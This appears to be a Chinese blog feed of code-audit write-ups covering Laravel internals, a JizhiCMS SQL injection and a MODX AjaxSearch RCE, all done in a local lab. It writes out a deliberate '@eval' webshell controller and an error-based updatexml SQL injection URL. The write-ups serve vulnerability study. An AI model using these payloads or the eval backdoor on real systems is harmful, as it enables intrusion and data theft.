&lt;p&gt;laravel是典型的MVC框架&lt;/p&gt;
&lt;h2&gt;路由与控制器&lt;/h2&gt;
&lt;p&gt;打开routes目录下的web.php，可以看到如下内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="cm"&gt;/*&lt;/span&gt;
&lt;span class="cm"&gt;|--------------------------------------------------------------------------&lt;/span&gt;
&lt;span class="cm"&gt;| Web Routes&lt;/span&gt;
&lt;span class="cm"&gt;|--------------------------------------------------------------------------&lt;/span&gt;
&lt;span class="cm"&gt;|&lt;/span&gt;
&lt;span class="cm"&gt;| Here is where you can register web routes for your application. These&lt;/span&gt;
&lt;span class="cm"&gt;| routes are loaded by the RouteServiceProvider within a group which&lt;/span&gt;
&lt;span class="cm"&gt;| contains the &amp;quot;web&amp;quot; middleware group. Now create something great!&lt;/span&gt;
&lt;span class="cm"&gt;|&lt;/span&gt;
&lt;span class="cm"&gt;*/&lt;/span&gt;

&lt;span class="nx"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;welcome&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;可以看到访问网站根目录会返回welcome视图，该视图的文件位于：&lt;code&gt;resources/views/welcome.blade.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我们可以自己新增一个路由：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;Route::get(&amp;#39;/webshell&amp;#39;, function () {&lt;/span&gt;
&lt;span class="x"&gt;    return &amp;quot;this is a webshell&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1596168947497" src="https://s2.loli.net/2024/06/14/I9fA3VjhOcos5vY.png"&gt;&lt;/p&gt;
&lt;p&gt;上面是路由相关的一些东西，下面我们再介绍一下控制器相关的知识&lt;/p&gt;
&lt;p&gt;在laravel目录下有一个&lt;code&gt;artisan&lt;/code&gt;的文件，它可以帮助我们完成一些工作，它可以帮助我们生成控制器、操作数据库，我们可以使用如下命令生成一个控制器：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;php&lt;span class="w"&gt; &lt;/span&gt;artisan&lt;span class="w"&gt; &lt;/span&gt;make:controller&lt;span class="w"&gt; &lt;/span&gt;CommentController
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1596215366724" src="https://s2.loli.net/2024/06/14/RD3jmxoPSJetNUG.png"&gt;&lt;/p&gt;
&lt;p&gt;执行完这条命令之后就会在&lt;code&gt;app/Http/Controllers&lt;/code&gt;目录下生成一个&lt;code&gt;CommentController&lt;/code&gt;控制器，文件绝对路径为&lt;code&gt;C:\phpStudy\PHPTutorial\WWW\laravel\laravel\app\Http\Controllers\CommentController.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;内容如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="nx"&gt;App\Http\Controllers&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nx"&gt;Illuminate\Http\Request&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CommentController&lt;/span&gt; &lt;span class="k"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;Controller&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;//&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;现在我们在&lt;code&gt;CommentController&lt;/code&gt;控制器中编写一个&lt;code&gt;index&lt;/code&gt;方法，内容如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="nx"&gt;App\Http\Controllers&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nx"&gt;Illuminate\Http\Request&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CommentController&lt;/span&gt; &lt;span class="k"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;Controller&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="k"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cmd&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;然后我们要在路由（web.php）中去调用这个控制器中的方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nl"&gt;Route&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;index&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;CommentController@index&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;其中，any指所有请求方法，我们也可以单独指定为get、post等请求方式&lt;/p&gt;
&lt;p&gt;现在我们访问&lt;code&gt;http://laravelht.vn/index?cmd=phpinfo();&lt;/code&gt;结果如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1596216063995" src="https://s2.loli.net/2024/06/14/UsSIQloquBRHag8.png"&gt;&lt;/p&gt;
&lt;p&gt;另外这个地方由于laravel防CSRF攻击的策略导致无法直接发送POST请求：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1596216209698" src="https://s2.loli.net/2024/06/14/xA4s3YCSZLI8BaP.png"&gt;&lt;/p&gt;
&lt;h2&gt;laravel数据库操作内核分析&lt;/h2&gt;
&lt;p&gt;在项目文件夹下的.env文件中进行数据库的配置：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1596216327272" src="https://s2.loli.net/2024/06/14/fG3mtxjKzpy2sOD.png"&gt;&lt;/p&gt;
&lt;p&gt;新建一个控制器进行数据库的连接测试&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;C:&lt;span class="se"&gt;\p&lt;/span&gt;hpStudy&lt;span class="se"&gt;\P&lt;/span&gt;HPTutorial&lt;span class="se"&gt;\p&lt;/span&gt;hp&lt;span class="se"&gt;\p&lt;/span&gt;hp-7.2.1-nts&lt;span class="se"&gt;\p&lt;/span&gt;hp&lt;span class="w"&gt; &lt;/span&gt;artisan&lt;span class="w"&gt; &lt;/span&gt;make:controller&lt;span class="w"&gt; &lt;/span&gt;UserController
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;内容如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="nx"&gt;App\Http\Controllers&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nx"&gt;Illuminate\Http\Request&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nx"&gt;DB&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UserController&lt;/span&gt; &lt;span class="k"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;Controller&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;DB&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="na"&gt;table&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;users&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="nx"&gt;dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;注册路由：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;Route::any(&amp;quot;db/index&amp;quot;,&amp;quot;UserController@index&amp;quot;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;测试是否能够正常返回数据&lt;/p&gt;
&lt;p&gt;&lt;img alt="1596217203985" src="https://s2.loli.net/2024/06/14/ci8IlvXoGOxbnPa.png"&gt;&lt;/p&gt;
&lt;p&gt;这个时候我们就可以通过下断点来进入laravel的数据库处理操作的内部代码了，在下面这两个地方下断点：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1596219757579" src="https://s2.loli.net/2024/06/14/mO3cejbMF4i7AD9.png"&gt;&lt;/p&gt;</content><category term="代码审计"></category></entry><entry><title>极致CMS代码审计——SQL注入</title><link href="ji-zhi-cmsdai-ma-shen-ji-sqlzhu-ru.html" rel="alternate"></link><published>2020-07-28T00:00:00+02:00</published><updated>2020-07-28T00:00:00+02:00</updated><author><name>12138</name></author><id>tag:None,2020-07-28:ji-zhi-cmsdai-ma-shen-ji-sqlzhu-ru.html</id><summary type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;划水的时候无意中看到了一篇关于极致CMS代码审计的文章，正好无事可做，照着文章上的复现一波，在此记录一下&lt;/p&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&amp;amp;mid=2652478295&amp;amp;idx=1&amp;amp;sn=40d1c72fabca4a1c2ad1d655cc9da3ad&amp;amp;chksm=f25838e4c52fb1f2d2d4185c6a3cd7ab406b38b4a3134b185a4c0395a47c2df11a978083c184&amp;amp;xtrack=1&amp;amp;scene=90&amp;amp;subscene=93&amp;amp;sessionid=1595921856&amp;amp;clicktime=1595921857&amp;amp;enterid=1595921857&amp;amp;ascene=56&amp;amp;devicetype=android-29&amp;amp;version=2700103f&amp;amp;nettype=WIFI&amp;amp;abtest_cookie=AAACAA%3D%3D&amp;amp;lang=zh_CN&amp;amp;exportkey=AVQFCnyeSUsMIof8aCGKAss%3D&amp;amp;pass_ticket=sph7e4rKMlog0Pv4kWiZOhu2twHkkapOBnkwZ%2B9jGXRk3%2BtK1A4NZMnPOl19xPqH&amp;amp;wx_header=0"&gt;极致CMS -- PHP代码审计 …&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</summary><content type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;划水的时候无意中看到了一篇关于极致CMS代码审计的文章，正好无事可做，照着文章上的复现一波，在此记录一下&lt;/p&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&amp;amp;mid=2652478295&amp;amp;idx=1&amp;amp;sn=40d1c72fabca4a1c2ad1d655cc9da3ad&amp;amp;chksm=f25838e4c52fb1f2d2d4185c6a3cd7ab406b38b4a3134b185a4c0395a47c2df11a978083c184&amp;amp;xtrack=1&amp;amp;scene=90&amp;amp;subscene=93&amp;amp;sessionid=1595921856&amp;amp;clicktime=1595921857&amp;amp;enterid=1595921857&amp;amp;ascene=56&amp;amp;devicetype=android-29&amp;amp;version=2700103f&amp;amp;nettype=WIFI&amp;amp;abtest_cookie=AAACAA%3D%3D&amp;amp;lang=zh_CN&amp;amp;exportkey=AVQFCnyeSUsMIof8aCGKAss%3D&amp;amp;pass_ticket=sph7e4rKMlog0Pv4kWiZOhu2twHkkapOBnkwZ%2B9jGXRk3%2BtK1A4NZMnPOl19xPqH&amp;amp;wx_header=0"&gt;极致CMS -- PHP代码审计 SQL注入漏洞&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;审计思路以及环境准备&lt;/h1&gt;
&lt;p&gt;从极致CMS官网的版本更新日志中发现最新版本较上一版本的更新差异&lt;/p&gt;
&lt;p&gt;&lt;img alt="1595954837950" src="https://s2.loli.net/2024/06/14/sYnFW1grA32ERDd.png"&gt;&lt;/p&gt;
&lt;p&gt;查看&lt;code&gt;v1.8&lt;/code&gt;的更新日志&lt;/p&gt;
&lt;p&gt;&lt;img alt="1595954912058" src="https://s2.loli.net/2024/06/14/4DpC7wfVioBsYum.png"&gt;&lt;/p&gt;
&lt;p&gt;说明在上一版本存在SQL语句报错信息直接显示到页面上的问题，因此我们将&lt;code&gt;v1.7.1&lt;/code&gt;版本下载下来，进行代码审计，重点审计SQL注入&lt;/p&gt;
&lt;p&gt;这里代码调试环境我们选择JetBrains的IDEA，通过xdebug进行php代码的调试&lt;/p&gt;
&lt;p&gt;CMS源代码下载链接：&lt;a href="https://github.com/wqreytuk/php-/raw/master/WWW.7z"&gt;极致CMS--v1.7.1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;由于一些我也不太清楚的原因，我只能把代码解压到网站根目录才可以正常进行安装和访问，之前审计laravel时也出现过问题，&lt;a href="https://wochinijiamile.blog.csdn.net/article/details/106789753"&gt;通过设置vhost解决&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;审计过程&lt;/h1&gt;
&lt;p&gt;我们直接切入主题，查看SQL语句执行的地方，随便找一个SQL查询的语句&lt;/p&gt;
&lt;p&gt;&lt;img alt="1595956660164" src="https://s2.loli.net/2024/06/14/OJPXZcHIvMUVlNK.png"&gt;&lt;/p&gt;
&lt;p&gt;通过上面的方式，找到进行SQL查询的代码&lt;/p&gt;
&lt;p&gt;&lt;img alt="1595956792961" src="https://s2.loli.net/2024/06/14/jnVQsCEoH45W8GT.png"&gt;&lt;/p&gt;
&lt;p&gt;打开对应文件&lt;code&gt;C:\phpStudy\PHPTutorial\WWW\123\jizhicms_Beta1.7.1\FrPHP\Extend\DB_API.php&lt;/code&gt;查看SQL查询相关代码&lt;/p&gt;
&lt;p&gt;&lt;img alt="1595957545245" src="https://s2.loli.net/2024/06/14/FIXpTZVoiW9Bg8P.png"&gt;&lt;/p&gt;
&lt;p&gt;跟入&lt;code&gt;getData&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1595956865135" src="https://s2.loli.net/2024/06/14/zHE7TyojGp5tDvx.png"&gt;&lt;/p&gt;
&lt;p&gt;跟入&lt;code&gt;query&lt;/code&gt;方法&lt;/p&gt;
&lt;p&gt;&lt;img alt="1595956923059" src="https://s2.loli.net/2024/06/14/Csx2eSQWBanHzyN.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可以看到这里SQL语句是没有进行任何过滤的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接调用pdo的query方法进行数据库的查询，这里我们全局搜索一下DB_API这个类调用的地方，发现一共只有一处：&lt;code&gt;C:\phpStudy\PHPTutorial\WWW\static\common\user\uedit\php\Uploader.class.php&lt;/code&gt;的387行，且只调用了其&lt;code&gt;set_table&lt;/code&gt;方法，因此这个地方我们并没有办法去利用，&lt;strong&gt;因此需要再去寻找一处可以进行传参的SQL语句查询代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过参考文章了解到，该CMS查询SQL的方法为find和findAll，因此我们只需要全局搜索find方法出现的地方即可&lt;/p&gt;
&lt;p&gt;&lt;img alt="1595958434810" src="https://s2.loli.net/2024/06/14/2eqSQuXHwiYaBJv.png"&gt;&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;C:\phpStudy\PHPTutorial\WWW\Home\c\MypayController.php&lt;/code&gt;找到符合条件的代码&lt;/p&gt;
&lt;p&gt;&lt;img alt="1595959367505" src="https://s2.loli.net/2024/06/14/5nMzBDshPpQEq3d.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1595959354382" src="https://s2.loli.net/2024/06/14/hNfItT8MczipgZV.png"&gt;&lt;/p&gt;
&lt;p&gt;使用chrome的postman插件构造出报错注入的payload即可触发SQL报错注入：&lt;/p&gt;
&lt;p&gt;构造请求&lt;code&gt;http://localhost/index.php/mypay/alipay_return_pay?out_trade_no=1%27%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)--+%22&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1595959523898" src="https://s2.loli.net/2024/06/14/qgxJsLvyIE4h9mZ.png"&gt;&lt;/p&gt;</content><category term="代码审计"></category></entry><entry><title>MODX evolution 1.0.5代码审计</title><link href="modx-evolution-105dai-ma-shen-ji.html" rel="alternate"></link><published>2020-07-05T00:00:00+02:00</published><updated>2020-07-05T00:00:00+02:00</updated><author><name>12138</name></author><id>tag:None,2020-07-05:modx-evolution-105dai-ma-shen-ji.html</id><summary type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;最近的工作中遇到了一个使用MODX搭建的网站，而这个站碰巧&lt;a href="https://licongm.github.io/"&gt;licong&lt;/a&gt;师傅也看过，在他的指导下开始了对MODX源代码的审计&lt;/p&gt;
&lt;h1&gt;版本探测&lt;/h1&gt;
&lt;p&gt;MODX的管理路径为&lt;code&gt;xxx.com/manager&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593878549600" src="https://s2.loli.net/2024/06/14/TDAYUar7HRko3Vm.png"&gt;&lt;/p&gt;
&lt;p&gt;直接google搜索 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;最近的工作中遇到了一个使用MODX搭建的网站，而这个站碰巧&lt;a href="https://licongm.github.io/"&gt;licong&lt;/a&gt;师傅也看过，在他的指导下开始了对MODX源代码的审计&lt;/p&gt;
&lt;h1&gt;版本探测&lt;/h1&gt;
&lt;p&gt;MODX的管理路径为&lt;code&gt;xxx.com/manager&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593878549600" src="https://s2.loli.net/2024/06/14/TDAYUar7HRko3Vm.png"&gt;&lt;/p&gt;
&lt;p&gt;直接google搜索&lt;code&gt;MODX history release&lt;/code&gt;，从搜索结果中可以找到两个网站提供历史发行版本下载：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://MODX.com/download/other-downloads"&gt;https://MODX.com/download/other-downloads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.evolution-docs.com/release-overview/"&gt;http://www.evolution-docs.com/release-overview/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;实际上MODX有两套CMS，一套叫做evolution，另一套叫做revolution&lt;/p&gt;
&lt;p&gt;从MODX的&lt;a href="https://github.com/MODXcms/evolution"&gt;github仓库&lt;/a&gt;中我们可以找到&lt;a href="https : //MODX.com/download/evolution/previous-releases.html"&gt;相关链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593880048935" src="https://s2.loli.net/2024/06/14/asyNokAF963W5GC.png"&gt;&lt;/p&gt;
&lt;p&gt;通过下载这两套CMS并进行本地搭建之后与网站进行对比，确定网站所使用的的版本：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593880141929" src="https://s2.loli.net/2024/06/14/jag3ICufcA5OxTU.png"&gt;&lt;/p&gt;
&lt;h1&gt;搜索相应版本是否存在漏洞&lt;/h1&gt;
&lt;p&gt;在官网上找到一个&lt;code&gt;&amp;lt;=1.1&lt;/code&gt;的RCE漏洞&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593880381525" src="https://s2.loli.net/2024/06/14/ThuVrRBnlKEo5kD.png"&gt;&lt;/p&gt;
&lt;p&gt;网站上的描述是说MODX的Ajaxsearch, eForm和evoGallery组件存在远程命令执行漏洞，就只有这么一句话，下面我们就根据这条线索对源代码进行审计&lt;/p&gt;
&lt;h1&gt;环境搭建&lt;/h1&gt;
&lt;h2&gt;MODX安装&lt;/h2&gt;
&lt;p&gt;下载完对应版本的源代码之后解压到根目录，访问进行安装，我这里使用的是php5.3 nts，跟着安装向导走，在创建数据表的地方会报错&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593881426811" src="https://s2.loli.net/2024/06/14/R6UywpWNsj78OLQ.png"&gt;&lt;/p&gt;
&lt;p&gt;老版本的MySQL使用TYPE而不是ENGINE，我使用的mysql版本为5.5.53，已经不支持TYPE，因此需要全局替换&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593881785665" src="https://s2.loli.net/2024/06/14/uEY7bU1RBPwoCc4.png"&gt;&lt;/p&gt;
&lt;p&gt;出现如下页面即代表环境搭建成功&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593881885599" src="https://s2.loli.net/2024/06/14/gz3V2K4QPscbq6a.png"&gt;&lt;/p&gt;
&lt;h2&gt;调试环境的搭建&lt;/h2&gt;
&lt;p&gt;php调试选择xdebug，这里我使用的是开发工具是IDEA，IDEA会自动检测到php文件并提示安装php相关插件，php运行环境的配置如下，xdebug的安装方式可以通过点击进行官网查看&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593882100592" src="https://s2.loli.net/2024/06/14/I1gokOsN2rSzD3e.png"&gt;&lt;/p&gt;
&lt;p&gt;由于审计过程中需要使用&lt;a href="https://chrome.google.com/webstore/detail/tabbed-postman-rest-clien/coohjcphdfgbiolnekdpbcijmhambjff"&gt;postman&lt;/a&gt;构造POST请求，为了能够正常调试，需要在请求的URL后面加上xdebug的session：&lt;code&gt;?XDEBUG_SESSION_START=14759&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;注意每次调试XDEBUG_SESSION_START的值都会改变&lt;/p&gt;
&lt;p&gt;在调试代码的过程中，我们可能会想要输出中间变量，这里有一个小技巧，就是使用&lt;code&gt;print_r&lt;/code&gt;输出数组的时候可以使用如下方式进行输出，方便我们查看数组结构：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593882447769" src="https://s2.loli.net/2024/06/14/vAjdhsZBR6ClbLy.png"&gt;&lt;/p&gt;
&lt;h1&gt;审计代码&lt;/h1&gt;
&lt;p&gt;根据官网的描述，我们先从Ajaxsearch组件入手，使用Seay源代码审计系统自动审计，先筛选出存在远程命令执行漏洞风险且与Ajaxsearch组件相关的文件&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593882642508" src="https://s2.loli.net/2024/06/14/9H4vFiENQzhXt5B.png"&gt;&lt;/p&gt;
&lt;p&gt;在MODX 1.0.5的源代码中Ajaxsearch组件的入口文件只有一个&lt;code&gt;evolution-1.0.5\assets\snippets\ajaxSearch\ajaxSearchPopup.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;直接在该文件的入口下断点，单步调试，调试完改文件之后得出的结论就是，payload中必须包含&lt;code&gt;search&lt;/code&gt;和&lt;code&gt;as_version&lt;/code&gt;，其中前者只要值不为空即可，后者值必须为&lt;code&gt;1.9.2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;该文件中除了run方法之外，不存在能够出发代码执行的操作，因此跟入run方法&lt;/p&gt;
&lt;p&gt;run方法是&lt;code&gt;AjaxSearch&lt;/code&gt;类的方法，它负责完成ajax搜索，通读该类文件发现需要再跟入到&lt;code&gt;AjaxSearchCtrl&lt;/code&gt;类的run方法中&lt;/p&gt;
&lt;p&gt;跟入run方法，执行&lt;code&gt;AjaxSearchResults&lt;/code&gt;类的&lt;code&gt;getSearchResults&lt;/code&gt;方法，根据上面自动审计的结果，该类文件的&lt;code&gt;_doFilter&lt;/code&gt;方法可能存在命令执行漏洞&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;$this-&amp;gt;_filterValue = eval(substr($filterArray[1], 5));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;在&lt;code&gt;_doFilter&lt;/code&gt;方法处下断点进行调试，发现我们根本没有进入该方法，直接返回了结果&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593883520237" src="https://s2.loli.net/2024/06/14/N2M3lFLoaOTsWY9.png"&gt;&lt;/p&gt;
&lt;p&gt;我们回到&lt;code&gt;AjaxSearch&lt;/code&gt;类文件中，在调用&lt;code&gt;AjaxSearchCtrl&lt;/code&gt;类的run方法处下断点跟入&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593883676977" src="https://s2.loli.net/2024/06/14/l8UwDVOJch9Ty5j.png"&gt;&lt;/p&gt;
&lt;p&gt;发现&lt;code&gt;$valid&lt;/code&gt;的值为false，无法进入可能存在漏洞的代码，因此我们跟入&lt;code&gt;AjaxSearchInput&lt;/code&gt;类的display方法一探究竟&lt;/p&gt;
&lt;p&gt;问题出在&lt;code&gt;AjaxSearchInput&lt;/code&gt;类文件的165行，由于我们的&lt;code&gt;AjaxSearchConfig&lt;/code&gt;类对象的成员变量cfg值为null，导致&lt;code&gt;$this-&amp;gt;asCfg-&amp;gt;cfg['maxWords']&lt;/code&gt;为一个不存在的值，任意一个有值的变量都满足该if条件，最终导致valid变量为false&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593884247483" src="https://s2.loli.net/2024/06/14/BWMtcD8zwKmSVf3.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;asCfg&lt;/code&gt;成员变量是一个引用，在&lt;code&gt;AjaxSearchInput&lt;/code&gt;类的init方法中初始化，在此方法体中下断点&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593884992433" src="https://s2.loli.net/2024/06/14/9QN1CoeWf3hUxJa.png"&gt;&lt;/p&gt;
